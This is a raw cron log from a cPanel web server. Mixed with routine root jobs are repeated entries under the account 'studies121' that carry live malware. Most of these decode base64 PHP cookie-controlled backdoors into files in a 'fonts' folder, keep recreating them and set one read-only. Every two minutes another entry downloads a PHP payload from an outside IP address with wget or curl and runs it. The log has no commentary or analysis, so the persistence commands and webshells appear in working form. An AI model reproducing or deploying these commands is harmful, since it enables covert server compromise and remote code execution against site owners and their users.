Sep  3 20:28:01 ip-184-168-122-23 CROND[27883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:29:01 ip-184-168-122-23 CROND[27963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:29:01 ip-184-168-122-23 CROND[27965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:29:01 ip-184-168-122-23 CROND[27966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:29:01 ip-184-168-122-23 CROND[27969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:30:01 ip-184-168-122-23 CROND[28061]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:30:01 ip-184-168-122-23 CROND[28066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:30:01 ip-184-168-122-23 CROND[28067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:31:01 ip-184-168-122-23 CROND[28187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:31:01 ip-184-168-122-23 CROND[28188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:31:01 ip-184-168-122-23 CROND[28190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:31:01 ip-184-168-122-23 CROND[28191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:31:01 ip-184-168-122-23 CROND[28192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:32:01 ip-184-168-122-23 CROND[28279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:32:01 ip-184-168-122-23 CROND[28283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:32:01 ip-184-168-122-23 CROND[28281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:32:01 ip-184-168-122-23 CROND[28284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:32:01 ip-184-168-122-23 CROND[28282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:33:01 ip-184-168-122-23 CROND[28466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:33:01 ip-184-168-122-23 CROND[28470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:33:01 ip-184-168-122-23 CROND[28469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:33:01 ip-184-168-122-23 CROND[28468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:34:01 ip-184-168-122-23 CROND[28558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:34:01 ip-184-168-122-23 CROND[28560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:34:01 ip-184-168-122-23 CROND[28561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:34:01 ip-184-168-122-23 CROND[28562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:34:01 ip-184-168-122-23 CROND[28563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:35:01 ip-184-168-122-23 CROND[28663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28660]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28661]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:35:01 ip-184-168-122-23 CROND[28662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:36:01 ip-184-168-122-23 CROND[28768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:36:01 ip-184-168-122-23 CROND[28769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:36:01 ip-184-168-122-23 CROND[28767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:36:01 ip-184-168-122-23 CROND[28772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:36:01 ip-184-168-122-23 CROND[28773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:37:01 ip-184-168-122-23 CROND[28854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:37:01 ip-184-168-122-23 CROND[28855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:37:01 ip-184-168-122-23 CROND[28856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:37:01 ip-184-168-122-23 CROND[28859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:38:01 ip-184-168-122-23 CROND[29026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:38:01 ip-184-168-122-23 CROND[29029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:38:01 ip-184-168-122-23 CROND[29030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:38:01 ip-184-168-122-23 CROND[29028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:38:01 ip-184-168-122-23 CROND[29031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:39:01 ip-184-168-122-23 CROND[29110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:39:01 ip-184-168-122-23 CROND[29113]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 20:39:01 ip-184-168-122-23 CROND[29112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:39:01 ip-184-168-122-23 CROND[29114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:39:01 ip-184-168-122-23 CROND[29117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29200]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:40:01 ip-184-168-122-23 CROND[29204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:40:01 ip-184-168-122-23 CROND[29210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
